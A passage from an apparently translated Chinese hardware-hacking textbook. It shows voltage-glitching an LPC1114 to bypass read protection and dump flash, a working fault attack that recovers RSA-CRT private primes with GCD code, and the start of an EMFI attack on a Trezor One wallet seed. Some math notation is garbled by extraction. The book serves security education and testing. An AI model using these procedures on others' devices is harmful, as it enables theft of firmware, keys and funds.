在清单 6-7 中的代码中,scope.glitch.repeat 参数表示“故障”被“应用”的周期数(来自第五章的故障宽度)。scope.glitch.ext_offset 参数表示从触发事件到插入故障之间的偏移量,定义了故障发生的时间点。这些参数在这里有些“无单位”,因为数字表示基于微控制器内部振荡器的周期延迟。我们很少关心“实际”的值;我们只希望能够重新创建它们。

一旦repeat(故障宽度)和ext_offset(故障偏移)设置固定,它们将在下次触发时自动应用。如果我们再次运行清单 6-6(先运行过清单 6-7),我们现在会得到一个插入故障的功率波形。图 6-11 显示了结果。

在这个示例中,看起来我们使用了过于激进的故障,在大约 250 个时钟周期时插入。故障可能太宽了。故障插入后,设备似乎已经被静音。功率轨迹看起来不再像是在执行代码,这很糟糕,因为我们可能触发了欠压检测器或以其他方式重置了设备。我们需要调整参数并再试一次。

f06011

图 6-11:插入在大约 250 个周期处的故障导致设备重置。

将此与我们在清单 6-7 中更改scope.glitch.repeat的值进行比较,将repeat设置为 10。图 6-12 显示了功率轨迹。

f06012

图 6-12:插入在大约 250 个周期处的故障没有中断正常的启动。

我们仍然看到故障大约在 250 周期左右插入,但似乎设备继续执行代码!我们想要扫描那些故障宽度,这些宽度既不太宽(导致重置),也不至于让设备恢复正常运行。这种功率分析测量允许我们对电路板进行表征,了解下一步所需的故障宽度。在这种情况下,宽度(scope.glitch.repeat设置)为 14,大约是设备经常重置之前的上限。这意味着对于该样本电路板,我们首先会尝试 9 到 14 之间的宽度(下限有些是任意的;你可能需要进一步减少下限,但在某个点上,故障会太窄而没有效果)。再次强调,这些单位是相对任意的;我们不关心精确的测量,因为我们只是找到了设备重置和设备似乎正常运行之间的范围。你可能会发现这些数字在你的目标和设置中会有所不同。

如果你尝试使用除了 ChipWhisperer-Nano 之外的其他信号发生器重新创建此故障插入,可以很容易地使用示波器检查设备在故障发生后是重置了还是继续启动。通过这种方法,你可以轻松调整故障参数,减少搜索空间。

在接下来的章节中,我们将探讨功率分析以及如何利用它来显示设备程序中某些值处理的具体位置。执行“功率分析攻击”是可能的,我们可以测量这些配置字何时实际被加载。如果你有兴趣查看相关代码,可以参考 GitHub 上的 ChipWhisperer-Jupyter 仓库中的 LPC1114 示例(github.com/newaetech/chipwhisperer-jupyter/),里面有更多的细节。

从故障攻击到内存转储

现在我们可以看到设备启动,我们基本上已经准备好插入故障。我们要做的就是编写一个脚本,扫描故障的时序,看设备是否能解锁。如果设备成功解锁,我们就可以进行下一步,转储整个闪存。

列表 6-8 展示了重要部分(查看 Jupyter 笔记本中的完整示例)。在这里,我们指定了一个偏移范围,可以沿着这个范围进行扫描,找到有用的信息。你需要知道,代码的 100%成功率取决于你的物理连接;你可能需要多次运行此代码才能成功。我们还通过给出一个非常狭窄的偏移范围作弊,这有助于我们多次重复攻击。

import time
print("Attempting to glitch LPC Target")

nxpdev = CWDevice(scope, target)

Range = namedtuple("Range", ["min", "max", "step"])

# Empirically these seemed to work OK, we want to hit around
# time 51.8 to 51.9 μs from reset. CW-Nano doesn't have as meaningful
# timebase as CW-Lite, so we just sweep larger ranges...
offset_range = Range(5600, 6050, 1)
repeat_range = Range(9, 15, 1)

scope.glitch.repeat = repeat_range.min

done = False
while done == False:
    scope.glitch.ext_offset = offset_range.min
    if scope.glitch.repeat >= repeat_range.max:
        scope.glitch.repeat = repeat_range.min
    while scope.glitch.ext_offset < offset_range.max:

        scope.io.nrst = 'low'
        time.sleep(0.05)
        scope.arm()
 scope.io.nrst = 'high'
        target.ser.flush()

        print("Glitch offset %4d, width %d........"%
                (scope.glitch.ext_offset, scope.glitch.repeat), end="")

        time.sleep(0.05)
        try:
            nxpp = nxpprog.NXP_Programmer("lpc1114", nxpdev, 12000)

            try:
              1 data = nxpp.read_block(0, 4)
                print("[SUCCESS]\n")
                print("  Glitch OK! Add code to dump here.")
                done = True
                break

            except IOError as e:
                #print(e)
                print("[NORMAL]")

        except IOError:
            print("[FAILED]")
            pass

        scope.glitch.ext_offset += offset_range.step

    scope.glitch.repeat += repeat_range.step

列表 6-8:在尝试读取 CRP 状态时,扫描故障宽度和偏移量

每次故障尝试后,都会尝试从内存 1 中读取数据。如果成功,整个闪存会被读取出来,你就可以完全访问和控制 LPC1114 处理器。如果没有成功,首先检查使用功率跟踪的时序。我们通过实验发现,LPC1114 需要大约 51µs,但这会随着电压、温度和生产批次的变化而变化。

还要检查故障波形的形状,它会随着更长或更短的电线而变化。由于 ChipWhisperer-Nano 在故障宽度和偏移上的分辨率较低,因此与 ChipWhisperer-Lite 相比,任何给定硬件设置下的攻击成功率较低。例如,你可能需要使用更长或更短的电线来物理调整故障参数。但在进一步调整之前,可以让攻击运行一段时间。让攻击运行一到两个小时,可能会得到一个成功的参数设置,如列表 6-9 所示。

Attempting to glitch LPC Target
Glitch offset 5700, width 9........[NORMAL]
Glitch offset 5701, width 9........[NORMAL]
Glitch offset 5702, width 9........[NORMAL]
Glitch offset 5703, width 9........[NORMAL]
Glitch offset 5704, width 9........[NORMAL]
Glitch offset 5705, width 9........[NORMAL]
Glitch offset 5706, width 9........[NORMAL]
Glitch offset 5707, width 9........[NORMAL]
   ---`MANY MORE TESTS`---
Glitch offset 5729, width 9........[SUCCESS]

  Glitch OK! Beginning dump...
00 08 00 10 D1 1D 00 00 CB 1F 00 00 CB 1F 00 00
CB 1F 00 00 CB 1F 00 00 CB 1F 00 00 38 3B FF EF
00 00 00 00 00 00 00 00 00 00 00 00 CB 1F 00 00
CB 1F 00 00 00 00 00 00 CB 1F 00 00 CB 1F 00 00

列表 6-9:运行脚本时成功故障的输出

一旦攻击成功,接下来就是执行闪存读取,这需要循环读取所有内存以获取芯片数据。使用nxpprog库可以让这一过程更简单;有关如何完成此任务的示例,请查看本书的配套 GitHub 仓库,链接地址为nostarch.com/hardwarehacking。你还可以通过重新编程配置字来解锁设备,这应该能够让你攻击一个完全锁定的设备,解禁 ISP 和 JTAG。

不必担心所有可能性;只要收到成功消息,就意味着你已经能够破坏配置字,从而绕过读取保护!如果你依赖于这样的安全方法,执行这一练习是有用的,它能帮助你理解别人是如何绕过这些安全措施的。

多路复用故障注入

我们已经用起重棒进行了一个示例,但查看其他执行电压故障注入的方法也很有帮助。最常见的其他方法是使用多路复用器(mux),它在常规操作电压和“故障”电压之间切换。使用多路复用器的问题是,它可能会增加损坏目标的风险。例如,如果你正在对设备进行负电压故障注入,你可能会发现负电压超出了规格范围。在我们的例子中,我们将使用范围内的电压来避免这种风险。

多路复用硬件设置

我们在第五章中讨论了将多路复用器作为电压切换注入器的故障注入方法,详细内容请参见该章节,了解如何使用多路复用器构建故障注入电路。

在这个示例中使用多路复用器时,我们使用与图 6-8 中显示的相同的 LPC1114 开发板,但这次没有连接输入电压和核心电压的 12 Ω分流电阻。如果已经安装,请将其拆除。必须切断电路,以便微控制器的核心电压完全来自外部电源。我们将把 mux 输出连接到 LPC1114 开发板的核心电压,这意味着 LPC1114 始终由 mux 输出供电。

在这个示例中,我们使用了一个由互补对模拟开关组成的双芯片解决方案:TS12A4514 是常开开关,而 TS12A4515 是常闭开关。图 6-13 展示了这个解决方案的原理图。

f06013

图 6-13:展示用于 mux 故障注入的简单多路复用器原理图

TS12A4514 将标准的 3.3 V VCC 从 ChipWhisperer-Nano 传送到 LPC1114,而 TS12A4515 通过由可变电阻 VR1 设定的较低电压进行供电。这意味着每次切换 ChipWhisperer-Nano 的 I/O 引脚时,我们会切换每个模拟开关的引脚 6,并使得传送到 LPC1114 的电压在 TS12A4514 的标准 VCC 和 TS12A4515 的调整 VCC 之间切换。与图 6-7 中的过电压故障原理图相比,只有与 VDD 的连接发生变化;串行和触发连接保持不变。

在我们的构建中,我们将 TS12A4514(底部)和 TS12A4515(顶部)堆叠在一起并将它们焊接在一起。这两个切换电压引脚(U2 和 U3 的引脚 8)是唯一没有焊接在一起的引脚,因为它们有不同的连接;具体细节请参见图 6-14。

f06014

图 6-14:将 TS12A4514(底部)和 TS12A4515(顶部)堆叠(改装)在一起

图 6-15 展示了基于 mux 的故障注入设置;接下来我们将详细介绍每个部分的低级细节。

f06015

图 6-15:执行 mux 攻击的完整设置

首先,请注意,前面提到的 12 Ω 电阻已经从目标 1 中移除。对于基于切换的故障,使用多路复用器,我们需要指定两个电压:常规电压和“故障”电压。在这种情况下,为了简化操作,我们将使用与前面短路部分相似的电压。常规电压是标准的 3.3 V 电源,从 LPC1114 板上的 JTAG 连接器获取。故障电压类似于短路设置中,我们尝试将电源拉到地(0 V)。直接拉到 0 V 可能会使设备重置得太快,因此我们改为在路径中加入一个可变电阻(VR1)。由于目标设备通常在正电源轨上具有一定的电容,使用电阻意味着电压不会那么快地下降到 0 V(GND)。在图中,我们使用的是标准的可变电阻 3。

在 ChipWhisperer-Nano 上,我们需要在目标侧 2 处拆除两个焊接跳线。这一步是必需的,因为我们现在将使用故障输出驱动多路复用器,但仍然希望使用测量功能。默认情况下,故障输出和测量在目标板上是绑定在一起的。当故障输出直接连接到目标电压时,前一部分的设置是可以的。现在,我们需要将测量和故障信号解耦。将 ChipWhisperer-Nano 的目标侧分离开来可以实现相同的目标,并确保 I/O 引脚没有冲突。然而,仅仅拆除焊接跳线可能会较不激进,以防你仍然想使用附带的目标。

要触发多路复用器切换,我们只需要一个数字 I/O 信号,它沿着时间轴进行扫描,从而在目标启动序列的不同点插入电压切换。我们可以使用外部 FPGA 或信号发生器,但在这个示例中,我们将使用在短路示例中使用的相同的 ChipWhisperer-Nano 或 ChipWhisperer-Lite 故障输出。故障触发输出仅驱动低电平,因此当其不被驱动为低电平时,1 kΩ 电阻会将线路拉高。我们可以将此故障触发输出用作多路复用器选择线的输入,并记住,当我们想要插入故障时,它是“低有效”的,即当故障线被驱动为低电平时。

TS12A4515P 在其输入端(位于合并的 6 号引脚)来自 ChipWhisperer-Nano 的故障触发器为低电平时,将预设的故障电压(由 VR1 设置)切换到 LPC1114 电源轨。相反,TS12A4514P 在其输入端(同样位于合并的 6 号引脚)来自 ChipWhisperer-Nano 的故障触发器为高电平时,将正常的 3.3 V VCC 电压切换到 LPC1114 电源轨。每当 ChipWhisperer 的故障输出触发器为低电平时,故障电压会通过多路复用器切换到 LPC1114 电源轨,随时且根据 ChipWhisperer 编程和控制,持续任意时长。

要查看 mux 输出及其周围故障发生时的启动波形,类似于图 6-9 中所示的情况,你可以测量 mux 的引脚 1。这对于调整故障时机和宽度至关重要。在这个例子中,我们不依赖示波器,而是将 ChipWhisperer-Nano 设置为捕获电源线信号,像在短路故障注入示例中一样。ChipWhisperer-Nano 的一个警告是它有一个固定的输入增益;你可能会发现电源线信号压倒了输入,使得观察变得困难。因此,插入了一个 220 Ω 电阻(R3),它与 ChipWhisperer-Nano 测量输入形成电压分压器。你可能需要根据你使用的多路复用器来调整这个电阻。ChipWhisperer-Lite 允许调整增益,因此不需要做同样的修改,可以直接观察 LPC1114 核心电压。

调整故障设置

和短路故障注入示例一样,我们需要调整故障设置。之前我们只需要调整故障宽度;现在我们还需要调整故障电压。在此过程中,为了简化操作,我们使用可变电阻器来调整故障的“强度”,而不是应用特定的电压设置。我们调节这个电阻,再次在启动过程中查看或捕获电源测量,并观察插入不同的故障电压对其的影响。

如果你正在使用 ChipWhisperer-Nano,那么这意味着运行清单 6-6 中显示的脚本。如之前所述,你可以在清单 6-7 中看到如何调整故障宽度。切换到非常窄的故障(scope.glitch.repeat = 1)和更宽的故障(scope.glitch.repeat = 50)应该会导致窄故障不会重置目标,而宽故障会重置目标。

你还可以调整电阻器 VR1 以查看它如何影响结果。你应该会发现,较大的 VR1 值可以让你在设备重置之前使用更宽的故障设置。同样,可以参考图 6-11 和 6-12,了解在重置和非重置情况下电源轨迹的示例。电阻器的添加为我们提供了另一个可调节项。假设 scope.glitch.repeat = 6 的设置允许设备正常工作,而 scope.glitch.repeat = 7 总是会导致重置。我们希望找到一个几乎重置设备的设置。虽然重置并不有用,但你可以调整电阻值到一个不总是重置设备的点。

作为一个 sanity check,首先将两个 mux 输入连接到 +3.3 V,你应该会看到目标不会发生故障。然后将一个 mux 输入直接连接到 GND,你会发现即使是窄故障也会导致目标重置。接下来,使用可变电阻器找到理想的中间设置。

一旦你找到了由可变电阻设置的电压的合适值(在我们的实验中,"合适"的设置是 34 Ω的电阻),你就可以再次找到引发目标不稳定并重置的故障宽度设置。当我们调整电阻设置时,使用的是非常宽的故障宽度,所以现在我们想要微调宽度,以减少我们的搜索空间。

与撬棍故障相比,我们发现需要稍微窄一点的故障。列表 6-10 展示了成功的输出转储示例;请注意,时序偏移大致与撬棍插入时确定的时序相同,但宽度不同。

Attempting to glitch LPC Target
Glitch offset 5700, width 5........[NORMAL]
   ---`MANY MORE TESTS`---
Glitch offset 5722, width 5........[NORMAL]
Glitch offset 5723, width 5........[NORMAL]
Glitch offset 5724, width 5........[NORMAL]
Glitch offset 5725, width 5........[NORMAL]
Glitch offset 5726, width 5........[NORMAL]
Glitch offset 5727, width 5........[NORMAL]
Glitch offset 5728, width 5........[SUCCESS]

  Glitch OK! Beginning dump...
00 08 00 10 D1 1D 00 00 CB 1F 00 00 CB 1F 00 00
CB 1F 00 00 CB 1F 00 00 CB 1F 00 00 38 3B FF EF
00 00 00 00 00 00 00 00 00 00 00 00 CB 1F 00 00
CB 1F 00 00 00 00 00 00 CB 1F 00 00 CB 1F 00 00
CB 1F 00 00 CB 1F 00 00 CB 1F 00 00 CB 1F 00 00
CB 1F 00 00 CB 1F 00 00 CB 1F 00 00 CB 1F 00 00
CB 1F 00 00 CB 1F 00 00 CB 1F 00 00 CB 1F 00 00

列表 6-10:使用多路复用器的结果与使用撬棍时的成功故障输出相同。

如果你调整了常规的工作电压,故障的时序将发生变化。设备的工作电压会略微改变内部振荡器的频率(此外,还存在设备之间的自然差异)。这意味着将目标电压从 3.3 V 调整到 2.5 V,可能会显著影响在启动过程中故障被插入的时刻。

第三幕:差分故障分析

与之前的环节使用故障注入影响结果不同,这一环节使用故障注入来破坏支撑现代密码学的完美且安全的数学。在本环节中,我们将攻击 RSA,使用一种特别常见的 RSA 实现。这类故障使得执行差分故障分析(DFA)攻击成为可能。DFA 攻击依赖于攻击者能够在插入故障的同时运行加密操作,并将故障操作的结果与正常操作的结果进行比较。

一点 RSA 数学

2001 年由 Dan Boneh、Richard A. DeMillo 和 Richard J. Lipton 发表的论文《在密码学计算中消除错误的重要性》中,介绍了针对 RSA 的 Bellcore DFA 攻击。这可能是最有效的 DFA 攻击之一,因此在这个环节中,我们将带你体验名为“单一故障,所有密钥位”的过程。尽管这是一个神奇的结果,但在数学上并不复杂。Bellcore 攻击聚焦于 RSA 的一个特定变种,称为RSA-CRT(中国剩余定理)。RSA-CRT 的发明是为了通过对较小的数字进行 RSA 模运算来加速 RSA 签名的计算,同时(当然)得到相同的结果。

首先,我们将讨论教材中的 RSA 算法,然后展示 RSA-CRT 的实现。我们将在第八章介绍功率分析攻击时再次讨论 RSA。理解 RSA 如何应对故障攻击需要比功率分析更多的细节,因此本节内容比第八章所需的更为深入(如果以下数学内容让你感到困惑,请不要担心)。由于这是一本硬件书籍,更多的细节可以参考你最喜欢的加密教材。如果你还没有最喜欢的,Jean-Philippe Aumasson 的《Serious Cryptography》(No Starch Press, 2018)是一个不错的选择,其中第十章涵盖了 RSA。以下的数学内容包含了大量的密码学和数论背景,但实际上你只需要高中水平的代数知识,就能理解这些攻击为何有效。

RSA 的工作原理从两个素数pq开始,它们共同构成了私钥的基础。公钥仅仅是n,其中n = pqpq的保密性源于非常大数字的因式分解固有的困难性,意味着没有已知的高效算法可以仅从n恢复pq。RSA 的下一个组件是选择一个名为公钥指数 e的数字。一个常见的选择是 2¹⁶ + 1。私钥指数 d现在通过d = e^(–1) mod λ(n)来计算,其中λ是 Carmichael 的欧拉函数(它的实现对于以下的攻击并不重要,所以你可以只是对这个函数的存在点头表示知道)。

如果你使用 RSA 对给定消息进行签名,消息m就是 RSA 签名所保护的内容。RSA 签名是通过计算s = m^(d) mod n来完成的。消息m仅仅是一个整数(数字)。实际上,我们有一个填充方案,将典型的字符串或二进制消息转换为整数m

RSA 计算开销非常大。考虑到现代安全要求下,私钥指数至少是 2048 位长,而模指数运算m^(d) mod n的复杂度随着n位数的立方增长。

进入中国剩余定理。其思路是将计算分成两部分,利用n是两个素数乘积的事实。RSA-CRT 中的私钥基于之前提到的素数pq。我们可以将这个私钥,依然仅基于pq的值,表示为三个数字:d[P] = d mod p – 1, d[Q] = d mod q – 1,以及q[inv] = q^(–1) mod p。通过这种实现方式,我们现在可以按照以下方式计算签名:

s[P] = m(*d*)([P])mod p

s[Q] = m(*d*)([Q])mod q

s = s[Q] + q(qinvmod p)

由于模数(pq)现在只有原来的一半位数,计算签名的速度大约提高了四倍(这很好)。此外,现在只需一次故障就能执行差分故障分析(DFA)攻击(这不好)。为了理解为什么,考虑我们在计算 s[P] 时注入一个故障,假设故障结果为 s'[P]。这样,我们就会得到一个损坏的签名 s'。接下来,我们可以进行一些代数运算:

s' = s[Q] + q(qinvmod p)

接下来,我们从 s 中减去 s'

ss' = s[Q] + q(qinvmod p) – s[Q] – q(qinvmod p)

然后我们从两边移除 s[Q]:

ss' = q(qinvmod p) – q(qinvmod p)

然后,我们认识到 q 乘以某个整数,减去 q 乘以另一个整数,可以写成:

ss' = qk[1] – qk[2] = kq

其中 k[1]、k[2] 和 k 是一些(未知的)整数。这是因为 s[P] 出现了故障。如果你在计算 s[Q] 时发生了故障,你就会得到 ss' = kp

接下来,我们使用一种高效的算法来计算 最大公约数(GCD)。两个整数 ij 的 GCD 给出了一个能够同时整除这两个数的最大正整数。例如,36 和 24 的 GCD 是 12,因为 12 可以同时整除 36 和 24。没有比 12 更大的数可以同时整除 36 和 24。我们可以写作 GCD(36, 24) = 12。

按照定义,质数只能被它自身和 1 除尽。在 RSA 中,模数 n = pq,所以它只能被 1、pq 除尽。由于 GCD(q, n) = GCD(q, pq) = q,因此 n 和任何整数 kq(其中 k 小于 p)的 GCD 为 q

从我们的攻击中,我们可以计算出 ss',并且我们知道它是 q 的倍数 k(其中 k 小于 p)。我们计算 GCD(ss', n) = GCD(kq, pq) = q。之所以能这么做,是因为 pq 是质数,因此 n 没有其他除数。现在,由于我们有了 q,我们可以轻松计算出 p = n ÷ q,这样我们就得到了两个私有质数,从而得到了 RSA 私钥!

请注意,为了使这个攻击有效,我们需要同时有 ss',这意味着需要对同一个消息 m 进行两次签名,并且在两次签名计算中破坏其中一个。实际操作中,可能并不总是能做到这一点,因为像 最优非对称加密填充(OAEP) 这样的填充方案,会在签名者端对消息 m 的一部分进行随机化。幸运的是,著名的密码学家阿尔亨·伦斯特拉(Arjen Lenstra)曾向 Bellcore 的作者们写了一份备忘录,展示了一个只需要损坏签名就能成功的攻击。

这个解法与之前的解法非常相似,之前我们通过代数推导出一个值,使得它与 n 的 GCD 给出了其中一个质数。与之前的不同之处在于,我们没有 s,只有 s'。我们可以使用之前推导出的方程来关联它们:

ss′ = kq

s = s′ + kq

因此,我们将在 RSA 消息方程中按照以下方式替换 s

m = s^(e)mod n = (s′ + kq)^(e)mod n

接下来,我们使用二项式定理进行一些重写。二项式定理规定如下:

e06001

因此,我们将写成:

e06002

我们将为 i = 0 推导出表达式:

e06003e06004

我们还将从求和中分出一个 kq 项:

e06005

我们用 x 替换求和,其中 x 是某个整数:

m = [s'^(e) + kqx]mod n

ms^('e) = kqx mod n

然后我们用以下公式找到 q

GCD(ms'^(e), n) = GCD(kqx, n) = GCD(kqx, pq) = q

由于 p = n ÷ q,我们就得到了完整的私钥。与之前一样,这对 s[Q] 的故障也适用。

获取目标的正确签名

对于这个例子,我们将使用本章节的 Jupyter Notebook,它具有 RSA-CRT 故障模拟器,并且可以在带有 32 位 ARM(NAE-CWLITE-ARM)目标的 ChipWhisperer-Lite 上运行。你可以在笔记本的顶部配置你选择的目标。对于硬件,它会引导你加载固件,获取设备的签名,并验证签名是否正确。

你可以使用任何其他目标设备;你只需要做的就是建立一个故障注入设置并在目标上实现 RSA-CRT。RSA-CRT 接受消息 m 并返回签名 s。你可以修改笔记本中的代码,适应你的固件和构建设置。

在模拟器中注入故障

对于笔记本中的模拟器,我们实现了如前所述的 RSA-CRT 计算。就像在真实硬件上一样,我们对消息进行 PKCS#1 v1.5 填充后的哈希签名。幸运的是,这个标准相对简单。PKCS#1 v1.5 填充形式如下所示:

|00|01|ff...|00|`hash_prefix`|`message_hash`|

在这里,ff...部分是一个由ff字节组成的字符串,长度足够使填充后的消息大小与 n 相同,而hash_prefix是应用于message_hash的哈希算法的标识符。在我们的例子中,SHA-256 的哈希前缀是3031300d060960864801650304020105000420

总的来说,填充和哈希后的消息“Hello World!”看起来像这样:

|00|01|ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff|003031300d060960864801650304020105000420|7f83b165ff1fc53b92dc18148a1d65dfc2d4b1fa3d677284addd200126d9069|

现在我们有了最终的消息,我们将其推送到 RSA-CRT 计算中,但首先会模拟一些故障。为此,我们随机翻转 s[P] 中的一些位,以获取 s'[P]。正如前面所解释的攻击所示,故障的具体内容并不重要。我们也可以将 s[P] 设置为π的二进制展开、0 或我们的宠物生日。接下来,我们计算故障签名 s'

在硬件上注入故障

对于硬件,放宽何时和何地故障的条件也对我们有所帮助:只要故障发生在计算s[P]或s[Q]的过程中,任何故障都是有效的。由于这些计算几乎占据了整个 RSA-CRT 计算过程,从接收消息到计算签名的时间大部分都花在了s[P]和s[Q]的计算上。这意味着你可以尝试运气,盲目地在签名计算的时间窗口内注入故障。

如果你想更清楚地了解你正在做什么,可以通过电源轨迹来查看 RSA 操作的时序。例如,图 6-16 中的电源轨迹来自 STM32F30,其中操作被分为两个主要的子操作。

f06016

图 6-16:MBED-TLS 执行 RSA 签名操作

你可以看到签名计算的两部分在 500,000 周期左右分开,中间有一个小的波动。这个模式在 RSA-CRT 中非常常见,事实上,仅凭这个模式就能明显看出设备正在运行 RSA-CRT,而无需了解设备的内部细节。我们将在下一章更详细地研究功率分析,并讨论如何利用它从设备中恢复机密信息。

确定时序后,我们可以注入故障。在本练习的笔记本中,我们选择了一个范围在 7,000,000 到 7,100,000 之间进行故障注入,这个范围大致位于签名计算的后半段。从先前对设备的特征分析中,我们知道一些可以使用的故障参数,并且我们在笔记本中将这些值硬编码。如果我们不确定时序,可以通过遍历一些近似的时序来进行尝试,正如这段代码所示:

from tqdm import tnrange
for i in tnrange(7000000, 7100000):
    scope.glitch.ext_offset = i
    target.flush()
    scope.arm() # arm the glitch to occur at ext_offset
    target.write("t\n") # this starts signature operation and triggers counter
    scope.capture() # wait for trigger/counter to finish
 `--snip--`

我们使用一个循环让目标执行签名操作,同时我们注入故障。然后我们需要检查结果,看看目标是否返回看起来像是损坏的签名,而不是目标崩溃或硬错误。检查每个时序下输出是否有效的代码可以在配套的笔记本中找到。

我们通过签名的返回值来识别候选的签名损坏情况:如果设备返回的签名具有正确的长度,但未通过 RSA 验证,那么它就是候选损坏签名。如果签名长度不正确,那么很可能是签名计算之外的某些部分被破坏,因此我们可以丢弃这些实例。

在笔记本中,我们作弊,简单地检查签名中是否没有出现“预期的”输出(预期输出是正确签名的结果)。这是检查签名是否有效的一个更简单方法。

运行此代码后,我们将获得一个故障签名,可以用来恢复质数。通常,这种方法会奏效。如果遇到一个不适用的极端情况,可以轻松地获取另一个故障签名并再试一次。

如果你不打算使用 ChipWhisperer 路线,并且有自己的设置或目标,请首先进行表征:找出故障注入参数,这些参数会导致签名出现明显的损坏。有效损坏的标志是,当签名的数据发生变化时,签名的长度却没有变化。这次攻击的有趣之处在于,成功的表征已经会产生一个损坏的签名,这意味着我们已经完成了故障注入的部分。

完成攻击

一旦我们得到了故障签名,无论是来自硬件还是 RSA-CRT 模拟器,我们仍然需要做一些工作。假设我们有一个变量叫做 s_crt,它是正确的签名,另一个变量叫做 s_crt_x,它是损坏的签名。这些只是很大的数字。例如,s_crt_x 在以十六进制打印时看起来像这样:

1187B790564D43D48CD140A7FF890EEA713D1603D8CBC57CF070EE951479C75E93FE98AD04F535109D957F9AB9
AA25DB2FB1A5521C68C986A270782B7A579A12B9AE79DF2F59ED9E6694C64C40AAD9FE46B203DB75792016EE
A315F7CAA8F9AAC0FD89052FFAC29C022E32B541B150419E2B6604DDA6BF2582F62C9F7876393D

之前,我们有一个简单的公式用于从损坏的签名和正确的签名或消息中计算出素数 pq。笔记本实现了使用最大公约数(GCD)恢复素数的两种方法。正如你将看到的,这个计算只需要短短几分之一秒就能完成,然后打印出私有素数。

让我们来看一下笔记本中的一个实现,它使用损坏的签名和正确的签名来查找私有素数:

# Recover p and q from corrupted signature and correct signature
calc_q = gcd(s_crt_x - s_crt, N)
calc_p = N // calc_q
print("Recovered p using s: {}".format(hex(calc_p)))
print("Recovered q using s: {}".format(hex(calc_q)))
print("pq == N?             {}".format(calc_q * calc_p == N))

这个代码块的输出显示了计算出的 pq 的值。为了确认它们是否正确,我们只需要检查它们相乘是否得到(公开的,因此已知的)N 值。以下是运行上述代码的示例:

Recovered p using s: 0xc36d0eb7fcd285223cfb5aaba5bda3d82c01cad19ea484a87ea4377637e75500fcb2005c5c7dd6ec4ac023cda285d796c3d9e75e1efc42488bb4f1d13ac30a57
Recovered q using s: 0xc000df51a7c77ae8d7c7370c1ff55b69e211c2b9e5db1ed0bf61d0d9899620f4910e4168387e3c30aa1e00c339a795088452dd96a9a5ea5d9dca68da636032af
pq == N?             True

哇!我们通过一个损坏的签名分解出了 N,并且知道了私有素数 pq。整个过程只需要在签名操作的几乎任意时刻插入一次故障。

加固后的实现有一个额外的技巧,我们在现实中应该绕过它:实际的 mbedTLS 库会检查它是否返回了错误的签名,它通过简单地检查签名是否按预期工作来实现这一点。在示例固件中,我们已将这一行注释掉。实际上,你会使用故障注入来绕过这个检查。尽管双重故障听起来很棘手,但它变得更容易,因为初始故障(在 RSA 操作中)几乎不需要精确的时机,因此唯一复杂的部分是对签名验证检查进行故障注入的时机。

总结

在这一章中,我们通过三个不同的例子进行了故障注入攻击的演示,从最基本的循环中的故障攻击场景开始,最后展示了如何通过故障攻击来转储 RSA 密钥。

请记住,故障注入在实践中是一个随机过程。故障的具体类型和产生的效果会有很大不同,甚至随着不同的设备锁代码以及制造商保护设备免受故障攻击的工作而发生变化。

如果你自己进行本章中的实验,不要灰心,如果第一次实验没有稳定运行。尝试多种故障注入的方法,更重要的是,先从一些简单的例子开始实验,看看你能注入哪些不同类型的故障。

在下一章,我们将提高难度,挑战一个现成的设备。

第七章:标记地点:Trezor One 钱包内存转储

让我们通过破解一个真实目标来完成这一系列关于故障注入的章节:Trezor One 钱包。我们将使用电磁故障注入技术来演示内存转储,并提取恢复种子,恢复种子是访问钱包内容所需的唯一信息。

本章将是本书中最开放的一章。它描述了一种高级攻击,可能需要更专业的设备,并且即使调整得很精确,成功率也非常低。事实上,重新创建这种攻击将是一个很好的学期项目。要跟进整个攻击过程,你需要对嵌入式设计有扎实的理解,配合一些复杂的仪器设置,并且还需要一些运气。不过,我们认为展示从简单设备到实际产品的过渡是很重要的。

我们在第五章的“电磁故障注入”一节中讨论过电磁故障注入(EMFI)。EMFI 试图在设备表面上方立即产生强大的脉冲,导致目标内部发生各种破坏。在本章中,我们将使用一款名为 ChipSHOUTER 的 EMFI 工具来进行故障注入。

攻击介绍

我们的目标是 Trezor One 比特币钱包。这个小设备可以用来存储比特币,实际上意味着它提供了一种安全存储用于加密操作的私钥的方法。我们不需要深入探讨钱包的操作细节,但理解 恢复种子 的概念至关重要。恢复种子是一系列编码恢复密钥的单词,知道该恢复种子就足以恢复私钥。这意味着,盗取恢复种子的人(如果没有进一步访问钱包)也可以访问钱包中存储的资金。任何能找到密钥的攻击,都会对所有者珍贵的比特币安全构成严重威胁。

我们在这里描述的攻击灵感来自于其他一些工作。Dmitry Nedospasov、Thomas Roth 和 Josh Datko 在 Chaos Computer Club (CCC) 上的“wallet.fail”演示展示了如何突破 STM32F2 安全保护并转储静态 RAM (SRAM) 内容。相反,我们将展示如何直接转储存储种子的闪存内容,因此这是一个不同的攻击方式,但结果相似。

我们将使用 EMFI 技术,这样我们可以在不拆除外壳的情况下进行攻击。这意味着攻击者可以在不留下任何修改钱包痕迹的情况下进行攻击,无论钱包经过多仔细的检查。本章介绍了几种更高级的工具,你将看到,使用这些工具时,投资在真实目标的攻击上是值得的。例如,我们将使用 USB 作为我们攻击的时序工具。真正的 USB 嗅探器(例如 Total Phase Beagle USB 480)在理解时序方面至关重要。附录 A 中有关于工具的更详细讨论。

Trezor One 钱包内部结构

Trezor One 钱包是开源的,这使得这个攻击成为了一个很好的演示案例,用于教授 EMFI 和故障注入。你可以自由修改代码或编程旧版本,这些版本尚未修补该漏洞。

Trezor 的源代码可以在 GitHub 上的 trezor-mcu 项目中找到。如果你想按照本章的步骤进行操作,可以在 GitHub 上选择“v1.7.3”标签,或者点击链接github.com/trezor/trezor-mcu/tree/v1.7.3/,该链接将带你到这个确切版本。这个漏洞在固件发布后早已被修复,届时你阅读本书时该版本已经不可用,所以你需要查看较旧的(存在漏洞的)代码,以更好地理解具体的攻击方式。Trezor 基于 STM32F205。图 7-1 显示了没有外壳的设备。

f07001

图 7-1:Trezor One 钱包内部结构

打印电路板(PCB)左侧的六个插座是 JTAG 接口。STM32F205 芯片位于外壳表面下方,这是我们在实际场景中使攻击更加真实的一个特点。

实际的敏感恢复种子存储在一个叫做 metadata 的闪存部分。它位于引导加载程序之后,如列表 7-1 所示。部分头文件定义了闪存空间中各个感兴趣项目的位置。

`--snip--`
#define FLASH_BOOT_START     (FLASH_ORIGIN)
#define FLASH_BOOT_LEN       (0x8000)

#define FLASH_META_START     (FLASH_BOOT_START + FLASH_BOOT_LEN)
#define FLASH_META_LEN       (0x8000)

